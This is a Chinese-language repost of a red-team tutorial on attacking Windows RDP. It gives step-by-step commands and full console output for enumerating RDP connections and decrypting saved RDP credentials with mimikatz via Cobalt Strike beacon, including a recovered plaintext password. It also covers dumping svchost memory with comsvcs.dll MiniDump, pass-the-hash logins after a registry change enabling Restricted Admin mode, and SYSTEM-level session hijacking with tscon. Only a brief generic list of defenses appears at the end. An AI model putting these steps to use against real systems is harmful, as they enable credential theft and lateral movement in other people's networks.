龙空技术网

浅析RDP攻击面以及防范策略

区块软件开发 719

前言:

今天各位老铁们对“netrdp”大体比较关注,同学们都需要学习一些“netrdp”的相关资讯。那么小编也在网上汇集了一些对于“netrdp””的相关文章,希望你们能喜欢,咱们一起来了解一下吧!

抓取RDP连接日志工具:

对外 RDP 连接记录

对外 RDP 连接记录保存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,默认只包含缺省用户设置和已登录用户的信息

未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现

需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作

对内 RDP 连接记录

对内 RDP 连接记录保存在 Wind。

一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接选取

EventID: 1149 网络连接 事件作为全量的登录事件,

EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件

比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。

CS上可以直接内存加载

execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe

获取RDP凭据

Dump RDP Credentials From Credentials Directory

场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。

默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下

但是我直接翻的话翻不到

但是通过命令是可以找到的,而且是cmd,不是powershell

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.

0x01 凭据保存的目录:

C:\Users\Administrator\AppData\Local\Microsoft\Credentials 

0x02 凭据的值:

5EEE4899502166CA91541FD79DA485CB 
使用mimikatz来进行操作读取密码
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB

CS上的话直接

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command[+] host called home, sent: 750701 bytes[+] received output:**BLOB**  dwVersion          : 00000001 - 1  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}  dwMasterKeyVersion : 00000001 - 1  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}  dwFlags            : 20000000 - 536870912 (system ; )  dwDescriptionLen   : 00000012 - 18  szDescription      : 本地凭据数据  algCrypt           : 00006610 - 26128 (CALG_AES_256)  dwAlgCryptLen      : 00000100 - 256  dwSaltLen          : 00000020 - 32  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55  dwHmacKeyLen       : 00000000 - 0  pbHmackKey         :   algHash            : 0000800e - 32782 (CALG_SHA_512)  dwAlgHashLen       : 00000200 - 512  dwHmac2KeyLen      : 00000020 - 32  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf  dwDataLen          : 000000c0 - 192  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573  dwSignLen          : 00000040 - 64  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

在这里我们需要记住guidmasterkey的值,

稍后我们需要找到对应的东西

{96768172-a437-4ca8-a877-14e0aa498a3e}

使用这条命令进行把数据保存到c盘的根目录中:

mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.

beacon> mimikatz sekurlsa::dpapi full[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command[+] host called home, sent: 750705 bytes[+] received output:Authentication Id : 0 ; 7152762 (00000000:006d247a)Session           : Interactive from 6User Name         : DWM-6Domain            : Window ManagerLogon Server      : (null)Logon Time        : 2022/4/26 18:12:38SID               : S-1-5-90-6Authentication Id : 0 ; 6443772 (00000000:006252fc)Session           : NewCredentials from 0User Name         : AdministratorDomain            : WEBLOGICLogon Server      : (null)Logon Time        : 2022/4/24 15:14:41SID               : S-1-5-21-2004965046-3923418856-647414055-500Authentication Id : 0 ; 196482 (00000000:0002ff82)Session           : Interactive from 1User Name         : AdministratorDomain            : WEBLOGICLogon Server      : WEBLOGICLogon Time        : 2022/4/22 1:27:06SID               : S-1-5-21-2004965046-3923418856-647414055-500Authentication Id : 0 ; 996 (00000000:000003e4)Session           : Service from 0User Name         : WEBLOGIC$Domain            : WORKGROUPLogon Server      : (null)Logon Time        : 2022/4/22 1:26:42SID               : S-1-5-20Authentication Id : 0 ; 43470 (00000000:0000a9ce)Session           : UndefinedLogonType from 0User Name         : (null)Domain            : (null)Logon Server      : (null)Logon Time        : 2022/4/22 1:26:42SID               : Authentication Id : 0 ; 7246695 (00000000:006e9367)Session           : Interactive from 6User Name         : AdministratorDomain            : WEBLOGICLogon Server      : WEBLOGICLogon Time        : 2022/4/26 22:57:38SID               : S-1-5-21-2004965046-3923418856-647414055-500 [00000000] * GUID      :{96768172-a437-4ca8-a877-14e0aa498a3e} * Time      :2022/4/27 0:00:37 * MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 * sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1Authentication Id : 0 ; 7152777 (00000000:006d2489)Session           : Interactive from 6User Name         : DWM-6Domain            : Window ManagerLogon Server      : (null)Logon Time        : 2022/4/26 18:12:38SID               : S-1-5-90-6Authentication Id : 0 ; 997 (00000000:000003e5)Session           : Service from 0User Name         : LOCAL SERVICEDomain            : NT AUTHORITYLogon Server      : (null)Logon Time        : 2022/4/22 1:26:43SID               : S-1-5-19Authentication Id : 0 ; 999 (00000000:000003e7)Session           : UndefinedLogonType from 0User Name         : WEBLOGIC$Domain            : WORKGROUPLogon Server      : (null)Logon Time        : 2022/4/22 1:26:42SID               : S-1-5-18 [00000000] * GUID      :{628e2357-b149-42af-8714-2a2e22e08f27} * Time      :2022/4/24 16:00:14 * MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638 * sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3 [00000001] * GUID      :{3f911ddd-ae45-479e-bb98-5b6c10c26c50} * Time      :2022/4/26 22:50:53 * MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad * sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9 [00000002] * GUID      :{acc494d8-92ca-45e0-9e87-27017cf59c68} * Time      :2022/4/26 23:02:50 * MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26 * sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237 [00000003] * GUID      :{afe30aef-f67e-4cea-9b91-71318f566140} * Time      :2022/4/22 1:26:42 * MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227 * sha1(key) :39507d003e38633020e85d318e509f55939d208f

也就是

 MasterKey  : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0f ec3d356bc9d8a78bbfd158e2b0

使用下面的命令进行读取密码的信息

这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command[+] host called home, sent: 750701 bytes[+] received output:**BLOB**  dwVersion          : 00000001 - 1  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}  dwMasterKeyVersion : 00000001 - 1  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}  dwFlags            : 20000000 - 536870912 (system ; )  dwDescriptionLen   : 00000012 - 18  szDescription      : 本地凭据数据  algCrypt           : 00006610 - 26128 (CALG_AES_256)  dwAlgCryptLen      : 00000100 - 256  dwSaltLen          : 00000020 - 32  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55  dwHmacKeyLen       : 00000000 - 0  pbHmackKey         :   algHash            : 0000800e - 32782 (CALG_SHA_512)  dwAlgHashLen       : 00000200 - 512  dwHmac2KeyLen      : 00000020 - 32  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf  dwDataLen          : 000000c0 - 192  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573  dwSignLen          : 00000040 - 64  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515dDecrypting Credential: * masterkey     : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01**CREDENTIAL**  credFlags      : 00000030 - 48  credSize       : 000000b8 - 184  credUnk0       : 00000000 - 0  Type           : 00000002 - 2 - domain_password  Flags          : 00000000 - 0  LastWritten    : 2022/4/26 16:00:20  unkFlagsOrSize : 00000018 - 24  Persist        : 00000002 - 2 - local_machine  AttributeCount : 00000000 - 0  unk0           : 00000000 - 0  unk1           : 00000000 - 0  TargetName     : Domain:target=TERMSRV/10.10.20.7  UnkData        : (null)  Comment        : (null)  TargetAlias    : (null)  UserName       : redteam\saul  CredentialBlob : admin!@#45  Attributes     : 0

Dump RDP Credentials From svchost.exe

在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。前提是这个RDP是当前正在连接的。拿Windows Server 2012做测试整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。找到正确的进程有2种方式:0x01 Process HackerProcess Hacker使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。这仅在 RDP 连接仍处于活动状态时才有效。0x02 Command Line通过如下命令可以找到

netstat -nob | Select-String TermService -Context 1

或者是直接找 rdpcorets.dll

tasklist /M:rdpcorets.dll
创建转储文件

0x01 Process Hacker

Process Hacker的话直接右键svchost.exe进程就可以创建dump文件

0x02 任务管理器详细信息 ==> 选择对应pid进程 ==> 创建转储文件0x03ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
0x04comsvc.dll
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll,

MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

查找明文密码

可以通过strings命令,但是strings在Windows Server 2012上并不存在。

Mimikatz也支持了这一功能

可以通过下面命令抓取

ts::logonpasswords

但是Windows Server 2012就有问题,会抓到bytes流之后崩溃

Pass The Hash With Remote Desktop Protocol

Restricted Admin mode

这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。

Windows 8.1和Windows Server 2012 R2默认支持该功能

Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP

利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode

修改注册表开启Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /

查看是否开启

DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

成功在win7上开启Restricted Admin mode

Hash登陆RDP实现

这里需要使用mimikatz去pth

这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。

测试了几个实验:

虚拟机环境下

win2012 RDP登陆 win7会出现下图错误

win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)

privilege::debugsekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
win10登陆win2012没问题小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。这种场景的话主要是1、有目标机管理员组账号的用户名+hash,还有机器名。2、修改对方注册表开启Restricted Admin mode(受限管理模式)3、管理员权限用mimikatz => Pass The Hash With Remote Desktop ProtocoRDP会话劫持

系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令

以Windows Server 2012测试

在任务管理器中会出现多个会话

可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话

输入密码后成功登陆

在Windows Command Line下有一个tscon命令,可以实现上述功能

首先查询会话ID

query user
然后执行tscon命令即可切换会话
tscon 8 /PASSWORD:rdp1用户的密码

当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。

首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现

PsExec64.exe -s -i cmd

之后输入

quser   //查找rdp IDtscon 8 /dest:console
成功后直接跳转到该RDP

ListRDPConnections 是一款用于查找 Windows RDP 服务器的工具,它可以枚举出网络中的 RDP 服务器,从而给攻击者提供攻击目标。以下是一些防范措施:

检查和限制 RDP 访问,只允许必要的用户和主机进行访问,并禁用不必要的帐户和服务。加强主机安全,及时更新操作系统和应用程序补丁,启用防病毒软件和安全配置等。加强网络安全,包括启用防火墙、IDS/IPS 等,限制网络访问权限,并加密敏感数据传输。避免将敏感信息存储在 RDP 服务器上,尤其是未加密的敏感数据,避免泄露。监控 RDP 访问行为和系统日志,及时发现和响应异常行为和攻击。避免使用默认的用户名和密码,使用强密码和双因素身份验证等安全措施来加强访问控制。在部署 RDP 服务器之前,需要进行安全审计和风险评估,确保安全配置和访问控制策略的有效性。

需要注意的是,以上建议只是一些基本的防范措施,对于特定的应用场景和攻击方式,可能需要针对性的防范措施。因此,在使用 ListRDPConnections 工具之前,需要进行综合的安全风险评估和防范措施,以确保网络和系统的安全。

from

标签: #netrdp #centosrdpclient